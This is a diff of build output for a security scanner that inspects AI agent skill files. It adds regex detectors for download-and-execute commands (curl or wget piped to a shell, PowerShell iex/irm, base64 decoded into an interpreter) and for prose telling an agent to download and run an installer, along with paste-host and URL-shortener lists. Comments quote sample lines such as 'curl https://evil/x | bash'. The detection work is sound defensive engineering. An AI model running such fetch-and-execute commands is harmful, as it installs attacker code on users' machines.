* replaced `CODE_EXECUTION_CO_OCCURRENCE` with `CO_SIGNAL_MIN_SEVERITY`
|
|
68
|
+
* (SecurityScanner.exec.ts), whose new two-distinct-medium-signal path can
|
|
69
|
+
* escalate a `code_execution` finding to critical on content that only ever
|
|
70
|
+
* produced advisory-tier findings before. All three are the
|
|
71
|
+
* previously-clean-content-now-fires scenario this gate exists for. Scope
|
|
72
|
+
* note (unchanged from Wave 3): this forces re-evaluation of the local MCP
|
|
73
|
+
* audit baseline only (patterns.ts:100-125,
|
|
74
|
+
* packages/mcp-server/src/audit/security-audit.ts:219-222); the edge indexer
|
|
75
|
+
* never reads this constant, which is why it has no edge counterpart.
|
|
58
76
|
*/
|
|
59
|
-
export declare const
|
|
77
|
+
export declare const SCANNER_RULESET_VERSION: "2026-08-15.1";
|
|
78
|
+
export declare const SUSPICIOUS_PATTERNS: RegExp[];
|
|
79
|
+
export { CODE_EXECUTION_PATTERNS, IMPERATIVE_FETCH_EXEC_PROSE } from './patterns.exec.js';
|
|
60
80
|
export declare const SOCIAL_ENGINEERING_PATTERNS: RegExp[];
|
|
61
81
|
export declare const PROMPT_LEAKING_PATTERNS: RegExp[];
|
|
62
82
|
export declare const DATA_EXFILTRATION_PATTERNS: RegExp[];
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"patterns.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/patterns.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,eAAO,MAAM,uBAAuB,UAanC,CAAA;
|
|
1
|
+
{"version":3,"file":"patterns.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/patterns.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,eAAO,MAAM,uBAAuB,UAanC,CAAA;AAWD,eAAO,MAAM,gBAAgB,UAe5B,CAAA;AAMD,eAAO,MAAM,wBAAwB,UAAwD,CAAA;AAK7F,eAAO,MAAM,qBAAqB,UAA6C,CAAA;AA4B/E,eAAO,MAAM,gBAAgB,QAAoE,CAAA;AAMjG,eAAO,MAAM,uBAAuB,UAsBnC,CAAA;AAID,eAAO,MAAM,4BAA4B,EAAE,WAAW,CAAC,MAAM,CAG3D,CAAA;AAUF,OAAO,EAAE,kBAAkB,EAAE,mBAAmB,EAAE,MAAM,yBAAyB,CAAA;AAIjF,OAAO,EAAE,wBAAwB,EAAE,MAAM,kCAAkC,CAAA;AAE3E;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6DG;AACH,eAAO,MAAM,uBAAuB,EAAG,cAAuB,CAAA;AAG9D,eAAO,MAAM,mBAAmB,UAY/B,CAAA;AAOD,OAAO,EAAE,uBAAuB,EAAE,2BAA2B,EAAE,MAAM,oBAAoB,CAAA;AAGzF,eAAO,MAAM,2BAA2B,UAavC,CAAA;AAGD,eAAO,MAAM,uBAAuB,UAenC,CAAA;AAGD,eAAO,MAAM,0BAA0B,UA2DtC,CAAA;AAMD,eAAO,MAAM,gCAAgC,UAG5C,CAAA;AAGD,eAAO,MAAM,6BAA6B,UA8EzC,CAAA;AAED;;;;;;;;;;;;;;;;GAgBG;AACH,eAAO,MAAM,yBAAyB,UAuBrC,CAAA;AAED;;;;GAIG;AACH,eAAO,MAAM,YAAY,UAwBxB,CAAA"}
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Scanner — code-execution pattern sets
|
|
3
|
+
* @module @skillsmith/core/security/scanner/patterns.exec
|
|
4
|
+
*
|
|
5
|
+
* SMI-6033 Wave 4 (Gap 1): `CODE_EXECUTION_PATTERNS` moved here verbatim from
|
|
6
|
+
* `patterns.ts` (which was already sitting at exactly the repo's 500-line
|
|
7
|
+
* file gate, leaving zero headroom for the new sibling array below) and
|
|
8
|
+
* re-exported unchanged from `patterns.ts` — the same load-bearing
|
|
9
|
+
* re-export convention `patterns.jailbreak.ts` / `patterns.jailbreak.
|
|
10
|
+
* evidence.ts` already use, so every existing import path keeps working with
|
|
11
|
+
* zero churn. Do not remove that re-export.
|
|
12
|
+
*
|
|
13
|
+
* The two arrays here are the SAME finding type (`code_execution`) at the
|
|
14
|
+
* SAME advisory tier (one medium finding per skill, 12 points, sub-threshold
|
|
15
|
+
* alone) — they differ only in what they read:
|
|
16
|
+
*
|
|
17
|
+
* - `CODE_EXECUTION_PATTERNS` — literal shell/interpreter SYNTAX
|
|
18
|
+
* (`curl … | bash`, `bash <(curl …)`, `iex(irm …)`, …). Precise, low-FP.
|
|
19
|
+
* - `IMPERATIVE_FETCH_EXEC_PROSE` — natural-language install-and-run
|
|
20
|
+
* imperatives with NO shell syntax at all ("download the installer from
|
|
21
|
+
* thisurl.com and run it"), which the syntax detector scores at 0.
|
|
22
|
+
*
|
|
23
|
+
* Gap 1's design is "strengthen, don't replace": the prose set is ADDITIVE
|
|
24
|
+
* and deliberately emits at the same medium/advisory tier, because
|
|
25
|
+
* legitimate skills genuinely do say "download the installer from the
|
|
26
|
+
* vendor's site and run it". The teeth come from Gap 6's co-signal
|
|
27
|
+
* mechanism (`CO_SIGNAL_MIN_SEVERITY`, SecurityScanner.exec.ts), not from
|
|
28
|
+
* this array's own severity.
|
|
29
|
+
*/
|
|
30
|
+
/**
|
|
31
|
+
* SMI-5359 Wave 4.2: Remote-fetch-to-interpreter ("code_execution") patterns.
|
|
32
|
+
*
|
|
33
|
+
* These detect a skill instructing the agent to download remote content and pipe
|
|
34
|
+
* it straight into a shell/interpreter — the canonical "curl | bash" supply-chain
|
|
35
|
+
* primitive and its PowerShell / process-substitution / decode-then-exec variants.
|
|
36
|
+
*
|
|
37
|
+
* Scope discipline (SMI-4396): every pattern requires BOTH a fetch verb
|
|
38
|
+
* (curl/wget/irm/iwr/Invoke-WebRequest/Net.WebClient) AND an execution sink
|
|
39
|
+
* (| sh, <(...), eval $(...), iex, -EncodedCommand). A bare package install
|
|
40
|
+
* (npm/pip/brew/cargo/apt install) matches none of these. Quantifiers are bounded
|
|
41
|
+
* and exclude the pipe / newline so there is no catastrophic backtracking.
|
|
42
|
+
*
|
|
43
|
+
* SMI-5359 Wave 4.2c retune (read-only prod sim FP): the curl/wget fetch patterns
|
|
44
|
+
* additionally require a CONCRETE remote target (http(s):// or a `host.tld` domain)
|
|
45
|
+
* between the verb and the sink. This kills the false positive where a code-review /
|
|
46
|
+
* security-review skill documents the GENERIC pattern in prose with a placeholder
|
|
47
|
+
* ("curl … | sh") — no target -> no match — while a real "curl https://evil/x | bash"
|
|
48
|
+
* (which always names a target) still fires.
|
|
49
|
+
*/
|
|
50
|
+
export declare const CODE_EXECUTION_PATTERNS: RegExp[];
|
|
51
|
+
/**
|
|
52
|
+
* SMI-6033 Wave 4 (Gap 1): natural-language fetch-and-execute imperatives.
|
|
53
|
+
*
|
|
54
|
+
* `CODE_EXECUTION_PATTERNS` above only reads literal shell syntax, so free
|
|
55
|
+
* text ("download the installer from thisurl.com and run it") scored exactly
|
|
56
|
+
* 0 — the ClawHavoc brief's first gap. Each pattern here requires ALL FOUR
|
|
57
|
+
* components the plan specifies, so no three-of-four near-miss fires:
|
|
58
|
+
*
|
|
59
|
+
* 1. a FETCH VERB — download / fetch / grab / get
|
|
60
|
+
* 2. an EXECUTABLE NOUN — file / binary / executable / script / installer / setup
|
|
61
|
+
* 3. a REMOTE TARGET — an explicit http(s) URL, or a domain-shaped
|
|
62
|
+
* token introduced by a source preposition (from/at/on/via)
|
|
63
|
+
* 4. an EXECUTION IMPERATIVE — run / execute / open / install + it/this/that/
|
|
64
|
+
* them or a `the <noun>` object
|
|
65
|
+
*
|
|
66
|
+
* Two entries, covering the two natural orderings of (2) relative to (4):
|
|
67
|
+
* P1 states the noun before the target and closes with the imperative
|
|
68
|
+
* ("download the installer from thisurl.com and run it"); P2 leads with the
|
|
69
|
+
* imperative-plus-noun and trails the fetch clause ("run the installer you
|
|
70
|
+
* downloaded from thisurl.com"). P2's imperative object is REQUIRED to carry
|
|
71
|
+
* the executable noun (no bare "run it"), which is what keeps component (2)
|
|
72
|
+
* present in both entries.
|
|
73
|
+
*
|
|
74
|
+
* Two FP-control decisions worth naming, both verified against fixtures in
|
|
75
|
+
* packages/core/tests/security/co-signal-escalation.test.ts:
|
|
76
|
+
* - The bare-domain form requires a source preposition (from/at/on/via), so
|
|
77
|
+
* "get the file report.txt and open it" (a LOCAL file) does not match.
|
|
78
|
+
* - The bare-domain form's TLD carries a negative lookahead excluding
|
|
79
|
+
* common FILE EXTENSIONS (sh/exe/py/js/md/txt/zip/…), so "download the
|
|
80
|
+
* installer from setup.sh and run it" (a local script name, not a host)
|
|
81
|
+
* does not match either. `[\w-]` never matches `.`, so the host-label
|
|
82
|
+
* alternation is unambiguous at every `.` boundary — no nested/ambiguous
|
|
83
|
+
* quantifier, ReDoS-safe (measured <1 ms at the 10,000-char scan cap).
|
|
84
|
+
*
|
|
85
|
+
* Emits at the SAME medium/advisory tier as a lone literal-syntax match
|
|
86
|
+
* (see this module's header): never standalone-critical.
|
|
87
|
+
*/
|
|
88
|
+
export declare const IMPERATIVE_FETCH_EXEC_PROSE: RegExp[];
|
|
89
|
+
//# sourceMappingURL=patterns.exec.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"patterns.exec.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/patterns.exec.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AAEH;;;;;;;;;;;;;;;;;;;GAmBG;AACH,eAAO,MAAM,uBAAuB,UAmBnC,CAAA;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,eAAO,MAAM,2BAA2B,UAOvC,CAAA"}
|
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Scanner — code-execution pattern sets
|
|
3
|
+
* @module @skillsmith/core/security/scanner/patterns.exec
|
|
4
|
+
*
|
|
5
|
+
* SMI-6033 Wave 4 (Gap 1): `CODE_EXECUTION_PATTERNS` moved here verbatim from
|
|
6
|
+
* `patterns.ts` (which was already sitting at exactly the repo's 500-line
|
|
7
|
+
* file gate, leaving zero headroom for the new sibling array below) and
|
|
8
|
+
* re-exported unchanged from `patterns.ts` — the same load-bearing
|
|
9
|
+
* re-export convention `patterns.jailbreak.ts` / `patterns.jailbreak.
|
|
10
|
+
* evidence.ts` already use, so every existing import path keeps working with
|
|
11
|
+
* zero churn. Do not remove that re-export.
|
|
12
|
+
*
|
|
13
|
+
* The two arrays here are the SAME finding type (`code_execution`) at the
|
|
14
|
+
* SAME advisory tier (one medium finding per skill, 12 points, sub-threshold
|
|
15
|
+
* alone) — they differ only in what they read:
|
|
16
|
+
*
|
|
17
|
+
* - `CODE_EXECUTION_PATTERNS` — literal shell/interpreter SYNTAX
|
|
18
|
+
* (`curl … | bash`, `bash <(curl …)`, `iex(irm …)`, …). Precise, low-FP.
|
|
19
|
+
* - `IMPERATIVE_FETCH_EXEC_PROSE` — natural-language install-and-run
|
|
20
|
+
* imperatives with NO shell syntax at all ("download the installer from
|
|
21
|
+
* thisurl.com and run it"), which the syntax detector scores at 0.
|
|
22
|
+
*
|
|
23
|
+
* Gap 1's design is "strengthen, don't replace": the prose set is ADDITIVE
|
|
24
|
+
* and deliberately emits at the same medium/advisory tier, because
|
|
25
|
+
* legitimate skills genuinely do say "download the installer from the
|
|
26
|
+
* vendor's site and run it". The teeth come from Gap 6's co-signal
|
|
27
|
+
* mechanism (`CO_SIGNAL_MIN_SEVERITY`, SecurityScanner.exec.ts), not from
|
|
28
|
+
* this array's own severity.
|
|
29
|
+
*/
|
|
30
|
+
/**
|
|
31
|
+
* SMI-5359 Wave 4.2: Remote-fetch-to-interpreter ("code_execution") patterns.
|
|
32
|
+
*
|
|
33
|
+
* These detect a skill instructing the agent to download remote content and pipe
|
|
34
|
+
* it straight into a shell/interpreter — the canonical "curl | bash" supply-chain
|
|
35
|
+
* primitive and its PowerShell / process-substitution / decode-then-exec variants.
|
|
36
|
+
*
|
|
37
|
+
* Scope discipline (SMI-4396): every pattern requires BOTH a fetch verb
|
|
38
|
+
* (curl/wget/irm/iwr/Invoke-WebRequest/Net.WebClient) AND an execution sink
|
|
39
|
+
* (| sh, <(...), eval $(...), iex, -EncodedCommand). A bare package install
|
|
40
|
+
* (npm/pip/brew/cargo/apt install) matches none of these. Quantifiers are bounded
|
|
41
|
+
* and exclude the pipe / newline so there is no catastrophic backtracking.
|
|
42
|
+
*
|
|
43
|
+
* SMI-5359 Wave 4.2c retune (read-only prod sim FP): the curl/wget fetch patterns
|
|
44
|
+
* additionally require a CONCRETE remote target (http(s):// or a `host.tld` domain)
|
|
45
|
+
* between the verb and the sink. This kills the false positive where a code-review /
|
|
46
|
+
* security-review skill documents the GENERIC pattern in prose with a placeholder
|
|
47
|
+
* ("curl … | sh") — no target -> no match — while a real "curl https://evil/x | bash"
|
|
48
|
+
* (which always names a target) still fires.
|
|
49
|
+
*/
|
|
50
|
+
export const CODE_EXECUTION_PATTERNS = [
|
|
51
|
+
// curl|wget <target> | [sudo] <interpreter> (fetch piped to a shell or scripting interpreter)
|
|
52
|
+
/(?:curl|wget)\b[^\n|]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})[^\n|]{0,150}?\|\s*(?:sudo\s+(?:-[A-Za-z]+\s+)?)?(?:(?:ba|z|da)?sh|python[23]?|node|ruby|perl|php|fish|bun|deno)\b/i,
|
|
53
|
+
// process substitution: bash/sh/zsh/source/. <(curl|wget <target> ...)
|
|
54
|
+
/(?:^|[\s;&])(?:source|\.|ba?sh|zsh|exec)\s+<\(\s*(?:curl|wget)\b[^\n)]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})/i,
|
|
55
|
+
// command substitution into eval or `sh -c`: eval "$(curl <target>...)", bash -c "`wget <target>...`"
|
|
56
|
+
/(?:\beval\b|(?:ba|z)?sh\s+-c)\s+["']?[$`]\(?\s*(?:curl|wget)\b[^\n)]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})/i,
|
|
57
|
+
// PowerShell download-and-execute: iex(irm ...), Invoke-Expression(... DownloadString/Invoke-WebRequest)
|
|
58
|
+
/\b(?:iex|invoke-expression)\b[^\n]{0,100}?(?:\birm\b|\biwr\b|invoke-webrequest|invoke-restmethod|downloadstring|net\.webclient)/i,
|
|
59
|
+
// PowerShell encoded command (base64 payload handed to the interpreter)
|
|
60
|
+
/\bpowershell\b[^\n]{0,60}?\s-e(?:nc|ncodedcommand)?\b\s*[A-Za-z0-9+/=]{16,}/i,
|
|
61
|
+
// decode-then-exec: ... base64 -d ... | <interpreter> (SMI-5359 retro NIT: da sink, matches the curl pattern)
|
|
62
|
+
/\bbase64\s+(?:-d|--decode|-D)\b[^\n|]{0,60}?\|\s*(?:(?:ba|z|da)?sh|python[23]?|node|ruby|perl|php|fish|bun|deno)\b/i,
|
|
63
|
+
// SMI-5424 FN-1: chained / redirect download-then-execute (curl URL -o /tmp/x && bash /tmp/x)
|
|
64
|
+
/(?:curl|wget)\b[^\n]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})[^\n]{0,150}?(?:&&|;)\s*(?:sudo\s+(?:-[A-Za-z]+\s+)?)?(?:(?:ba|z|da)?sh|python[23]?|node|ruby|perl|php|fish|bun|deno)\b/i,
|
|
65
|
+
// SMI-5424 FN-2: npx executing a REMOTE source (URL or github:), never a local package (npx tsc is clean)
|
|
66
|
+
/\bnpx\s+(?:--yes\s+|-y\s+)?(?:https?:\/\/\S+|github:\S+)/i,
|
|
67
|
+
// SMI-5424 FN-4: node/python/deno/bun inline-eval (-e/-c) with a dangerous payload
|
|
68
|
+
/\b(?:node|python[23]?|deno|bun)\s+(?:-e|-c|--eval|--exec)\s+['"][^'"]{0,200}?(?:require\(|child_process|fetch\(|\bexec\b|eval\(|base64|urllib|os\.system|subprocess)/i,
|
|
69
|
+
];
|
|
70
|
+
/**
|
|
71
|
+
* SMI-6033 Wave 4 (Gap 1): natural-language fetch-and-execute imperatives.
|
|
72
|
+
*
|
|
73
|
+
* `CODE_EXECUTION_PATTERNS` above only reads literal shell syntax, so free
|
|
74
|
+
* text ("download the installer from thisurl.com and run it") scored exactly
|
|
75
|
+
* 0 — the ClawHavoc brief's first gap. Each pattern here requires ALL FOUR
|
|
76
|
+
* components the plan specifies, so no three-of-four near-miss fires:
|
|
77
|
+
*
|
|
78
|
+
* 1. a FETCH VERB — download / fetch / grab / get
|
|
79
|
+
* 2. an EXECUTABLE NOUN — file / binary / executable / script / installer / setup
|
|
80
|
+
* 3. a REMOTE TARGET — an explicit http(s) URL, or a domain-shaped
|
|
81
|
+
* token introduced by a source preposition (from/at/on/via)
|
|
82
|
+
* 4. an EXECUTION IMPERATIVE — run / execute / open / install + it/this/that/
|
|
83
|
+
* them or a `the <noun>` object
|
|
84
|
+
*
|
|
85
|
+
* Two entries, covering the two natural orderings of (2) relative to (4):
|
|
86
|
+
* P1 states the noun before the target and closes with the imperative
|
|
87
|
+
* ("download the installer from thisurl.com and run it"); P2 leads with the
|
|
88
|
+
* imperative-plus-noun and trails the fetch clause ("run the installer you
|
|
89
|
+
* downloaded from thisurl.com"). P2's imperative object is REQUIRED to carry
|
|
90
|
+
* the executable noun (no bare "run it"), which is what keeps component (2)
|
|
91
|
+
* present in both entries.
|
|
92
|
+
*
|
|
93
|
+
* Two FP-control decisions worth naming, both verified against fixtures in
|
|
94
|
+
* packages/core/tests/security/co-signal-escalation.test.ts:
|
|
95
|
+
* - The bare-domain form requires a source preposition (from/at/on/via), so
|
|
96
|
+
* "get the file report.txt and open it" (a LOCAL file) does not match.
|
|
97
|
+
* - The bare-domain form's TLD carries a negative lookahead excluding
|
|
98
|
+
* common FILE EXTENSIONS (sh/exe/py/js/md/txt/zip/…), so "download the
|
|
99
|
+
* installer from setup.sh and run it" (a local script name, not a host)
|
|
100
|
+
* does not match either. `[\w-]` never matches `.`, so the host-label
|
|
101
|
+
* alternation is unambiguous at every `.` boundary — no nested/ambiguous
|
|
102
|
+
* quantifier, ReDoS-safe (measured <1 ms at the 10,000-char scan cap).
|
|
103
|
+
*
|
|
104
|
+
* Emits at the SAME medium/advisory tier as a lone literal-syntax match
|
|
105
|
+
* (see this module's header): never standalone-critical.
|
|
106
|
+
*/
|
|
107
|
+
export const IMPERATIVE_FETCH_EXEC_PROSE = [
|
|
108
|
+
// P1: <fetch verb> … <exec noun> … <remote target> … <execution imperative>
|
|
109
|
+
// "Download the installer from thisurl.com and run it"
|
|
110
|
+
/\b(?:download|fetch|grab|get)\b[\s\S]{0,40}?\b(?:file|binary|executable|script|installer|setup)\b[\s\S]{0,60}?(?:https?:\/\/[^\s"'<>)\]]{1,200}|\b(?:from|at|on|via)\s+(?:the\s+)?[\w-]{2,63}(?:\.[\w-]{2,63}){0,3}\.(?!(?:sh|bash|zsh|exe|py|js|mjs|cjs|ts|md|txt|zip|tar|gz|tgz|json|ya?ml|toml|bin|dmg|pkg|msi|deb|rpm|jar|php|rb|pl|ps1|bat|cmd|app)\b)[a-z]{2,24}\b)[\s\S]{0,120}?\b(?:run|execute|open|install)\s+(?:it|this|that|them|(?:the|this|that|your)\s+(?:file|binary|executable|script|installer|setup))\b/i,
|
|
111
|
+
// P2: <execution imperative + exec noun> … <fetch verb> … <remote target>
|
|
112
|
+
// "Run the installer you downloaded from thisurl.com"
|
|
113
|
+
/\b(?:run|execute|open|install)\s+(?:the|this|that|your)\s+(?:file|binary|executable|script|installer|setup)\b[\s\S]{0,80}?\b(?:download|fetch|grab|get)(?:ed|s|ing)?\b[\s\S]{0,60}?(?:https?:\/\/[^\s"'<>)\]]{1,200}|\b(?:from|at|on|via)\s+(?:the\s+)?[\w-]{2,63}(?:\.[\w-]{2,63}){0,3}\.(?!(?:sh|bash|zsh|exe|py|js|mjs|cjs|ts|md|txt|zip|tar|gz|tgz|json|ya?ml|toml|bin|dmg|pkg|msi|deb|rpm|jar|php|rb|pl|ps1|bat|cmd|app)\b)[a-z]{2,24}\b)/i,
|
|
114
|
+
];
|
|
115
|
+
//# sourceMappingURL=patterns.exec.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"patterns.exec.js","sourceRoot":"","sources":["../../../../src/security/scanner/patterns.exec.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AAEH;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,CAAC,MAAM,uBAAuB,GAAG;IACrC,+FAA+F;IAC/F,kNAAkN;IAClN,uEAAuE;IACvE,iJAAiJ;IACjJ,sGAAsG;IACtG,+IAA+I;IAC/I,yGAAyG;IACzG,kIAAkI;IAClI,wEAAwE;IACxE,8EAA8E;IAC9E,8GAA8G;IAC9G,qHAAqH;IACrH,8FAA8F;IAC9F,sNAAsN;IACtN,0GAA0G;IAC1G,2DAA2D;IAC3D,mFAAmF;IACnF,uKAAuK;CACxK,CAAA;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,MAAM,CAAC,MAAM,2BAA2B,GAAG;IACzC,4EAA4E;IAC5E,2DAA2D;IAC3D,6fAA6f;IAC7f,0EAA0E;IAC1E,0DAA0D;IAC1D,ibAAib;CAClb,CAAA"}
|
|
@@ -18,6 +18,40 @@ export const DEFAULT_ALLOWED_DOMAINS = [
|
|
|
18
18
|
'nodejs.org',
|
|
19
19
|
'typescriptlang.org',
|
|
20
20
|
];
|
|
21
|
+
// SMI-6033 Wave 3 (Gap 4 fix): paste/snippet-host domains, split into TWO
|
|
22
|
+
// reputation tiers (the shipped PASTE_HOST_DOMAINS was a single flat list
|
|
23
|
+
// that wrongly conflated transfer.sh/file.io with glot.io/pastebin.com — see
|
|
24
|
+
// SecurityScanner.paste-host.ts for detection logic).
|
|
25
|
+
// ANON_PASTE_HOSTS (+ URL_SHORTENER_DOMAINS below): durable anonymous hosts
|
|
26
|
+
// with no legitimate anonymous-fetch use case — standalone-critical only
|
|
27
|
+
// with EXECUTION evidence (piped to an interpreter, or its fetch destination
|
|
28
|
+
// is later executed/chmod'd/sourced elsewhere); fetched-but-not-executed or
|
|
29
|
+
// merely linked stays at the existing scanUrls() url:medium.
|
|
30
|
+
export const ANON_PASTE_HOSTS = [
|
|
31
|
+
'glot.io',
|
|
32
|
+
'pastebin.com',
|
|
33
|
+
'paste.ee',
|
|
34
|
+
'hastebin.com',
|
|
35
|
+
'ix.io',
|
|
36
|
+
'0x0.st',
|
|
37
|
+
'dpaste.org',
|
|
38
|
+
'dpaste.com',
|
|
39
|
+
'ghostbin.com',
|
|
40
|
+
'paste.rs',
|
|
41
|
+
'controlc.com',
|
|
42
|
+
'rentry.co',
|
|
43
|
+
'paste.gg',
|
|
44
|
+
'justpaste.it',
|
|
45
|
+
];
|
|
46
|
+
// TRANSIENT_TRANSFER_HOSTS: ephemeral file-transfer hosts with a genuine
|
|
47
|
+
// debugging/incident-response use case. Always medium/co-signal-eligible,
|
|
48
|
+
// NEVER standalone-critical, regardless of execution evidence — `curl
|
|
49
|
+
// file.io/x | bash` alone staying sub-threshold is deliberate, not a gap.
|
|
50
|
+
export const TRANSIENT_TRANSFER_HOSTS = ['transfer.sh', 'file.io', 'tmpfiles.org', 'temp.sh'];
|
|
51
|
+
// URL-shorteners join ANON_PASTE_HOSTS's critical rule, but ONLY when
|
|
52
|
+
// execution-correlated — a shortened URL piped to a shell has no legitimate
|
|
53
|
+
// install shape (a bare shortened link stays at url:medium like any tier here).
|
|
54
|
+
export const URL_SHORTENER_DOMAINS = ['bit.ly', 'tinyurl.com', 't.co', 'is.gd'];
|
|
21
55
|
// Sensitive file path patterns
|
|
22
56
|
// SMI-4396 Wave 2: bare-keyword variants (credentials, secrets?, password) tightened
|
|
23
57
|
// to require assignment/path/file-extension context. Without this tuning,
|
|
@@ -113,8 +147,45 @@ export { EVIDENCE_TYPE_BY_PATTERN } from './patterns.jailbreak.evidence.js';
|
|
|
113
147
|
* cross-line matches now possible where none fired before), plus SSRF_
|
|
114
148
|
* INSTRUCTION_PATTERNS word-boundary narrowing (some previously-firing
|
|
115
149
|
* substring FPs, e.g. "budget to localhost", no longer match).
|
|
150
|
+
*
|
|
151
|
+
* Bumped to `2026-08-14.1`: SMI-6033 Wave 2 added four new standalone
|
|
152
|
+
* detector/finding-type categories that did not exist under the prior
|
|
153
|
+
* version — `gatekeeper_bypass` (xattr quarantine-attribute stripping,
|
|
154
|
+
* SecurityScanner.compound.ts), `archive_evasion` (password-protected
|
|
155
|
+
* archive extraction, SecurityScanner.archive.ts), `paste_host_fetch`
|
|
156
|
+
* (anonymous paste/snippet-host fetch-and-execute, SecurityScanner.paste-
|
|
157
|
+
* host.ts), and `encoded_payload` (base64 decode-and-recursive-rescan,
|
|
158
|
+
* SecurityScanner.encoding.ts). Each is exactly the
|
|
159
|
+
* previously-clean-content-now-fires scenario the ruleset-version gate
|
|
160
|
+
* exists for: a skill whose bundled content or SKILL.md legitimately
|
|
161
|
+
* contained an xattr troubleshooting snippet, a password-protected archive
|
|
162
|
+
* step, a paste-host link, or a base64 blob scanned clean before this wave
|
|
163
|
+
* and can now legitimately surface a new finding (up to standalone-critical
|
|
164
|
+
* for the correlated/inline-secret/execution-correlated forms of the first
|
|
165
|
+
* three) purely because new detection exists, not because the content
|
|
166
|
+
* changed. A stored acceptance-baseline entry produced under
|
|
167
|
+
* `2026-07-29.1` predates all four categories and is not comparable —
|
|
168
|
+
* this bump forces the local MCP audit baseline to re-scan rather than
|
|
169
|
+
* silently reuse it.
|
|
170
|
+
*
|
|
171
|
+
* Bumped to `2026-08-15.1`: SMI-6033 Wave 4 added a fifth standalone
|
|
172
|
+
* detector/finding-type category, `decoy_misdirection` (a fetch target
|
|
173
|
+
* whose domain doesn't match a vendor brand/authority claim made nearby in
|
|
174
|
+
* the skill's own prose, SecurityScanner.decoy.ts), plus the
|
|
175
|
+
* `IMPERATIVE_FETCH_EXEC_PROSE` pattern set (patterns.exec.ts — free-text
|
|
176
|
+
* "download the installer from thisurl.com and run it" now emits a
|
|
177
|
+
* `code_execution` medium finding where it previously matched nothing) and
|
|
178
|
+
* replaced `CODE_EXECUTION_CO_OCCURRENCE` with `CO_SIGNAL_MIN_SEVERITY`
|
|
179
|
+
* (SecurityScanner.exec.ts), whose new two-distinct-medium-signal path can
|
|
180
|
+
* escalate a `code_execution` finding to critical on content that only ever
|
|
181
|
+
* produced advisory-tier findings before. All three are the
|
|
182
|
+
* previously-clean-content-now-fires scenario this gate exists for. Scope
|
|
183
|
+
* note (unchanged from Wave 3): this forces re-evaluation of the local MCP
|
|
184
|
+
* audit baseline only (patterns.ts:100-125,
|
|
185
|
+
* packages/mcp-server/src/audit/security-audit.ts:219-222); the edge indexer
|
|
186
|
+
* never reads this constant, which is why it has no edge counterpart.
|
|
116
187
|
*/
|
|
117
|
-
export const SCANNER_RULESET_VERSION = '2026-
|
|
188
|
+
export const SCANNER_RULESET_VERSION = '2026-08-15.1';
|
|
118
189
|
// Suspicious patterns that might indicate malicious intent
|
|
119
190
|
export const SUSPICIOUS_PATTERNS = [
|
|
120
191
|
/eval\s*\(/i,
|
|
@@ -129,46 +200,12 @@ export const SUSPICIOUS_PATTERNS = [
|
|
|
129
200
|
/curl\s+.*\|\s*(bash|sh)/i, // Curl pipe to shell
|
|
130
201
|
/wget\s+.*\|\s*(bash|sh)/i,
|
|
131
202
|
];
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
*
|
|
137
|
-
|
|
138
|
-
*
|
|
139
|
-
* Scope discipline (SMI-4396): every pattern requires BOTH a fetch verb
|
|
140
|
-
* (curl/wget/irm/iwr/Invoke-WebRequest/Net.WebClient) AND an execution sink
|
|
141
|
-
* (| sh, <(...), eval $(...), iex, -EncodedCommand). A bare package install
|
|
142
|
-
* (npm/pip/brew/cargo/apt install) matches none of these. Quantifiers are bounded
|
|
143
|
-
* and exclude the pipe / newline so there is no catastrophic backtracking.
|
|
144
|
-
*
|
|
145
|
-
* SMI-5359 Wave 4.2c retune (read-only prod sim FP): the curl/wget fetch patterns
|
|
146
|
-
* additionally require a CONCRETE remote target (http(s):// or a `host.tld` domain)
|
|
147
|
-
* between the verb and the sink. This kills the false positive where a code-review /
|
|
148
|
-
* security-review skill documents the GENERIC pattern in prose with a placeholder
|
|
149
|
-
* ("curl … | sh") — no target -> no match — while a real "curl https://evil/x | bash"
|
|
150
|
-
* (which always names a target) still fires.
|
|
151
|
-
*/
|
|
152
|
-
export const CODE_EXECUTION_PATTERNS = [
|
|
153
|
-
// curl|wget <target> | [sudo] <interpreter> (fetch piped to a shell or scripting interpreter)
|
|
154
|
-
/(?:curl|wget)\b[^\n|]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})[^\n|]{0,150}?\|\s*(?:sudo\s+(?:-[A-Za-z]+\s+)?)?(?:(?:ba|z|da)?sh|python[23]?|node|ruby|perl|php|fish|bun|deno)\b/i,
|
|
155
|
-
// process substitution: bash/sh/zsh/source/. <(curl|wget <target> ...)
|
|
156
|
-
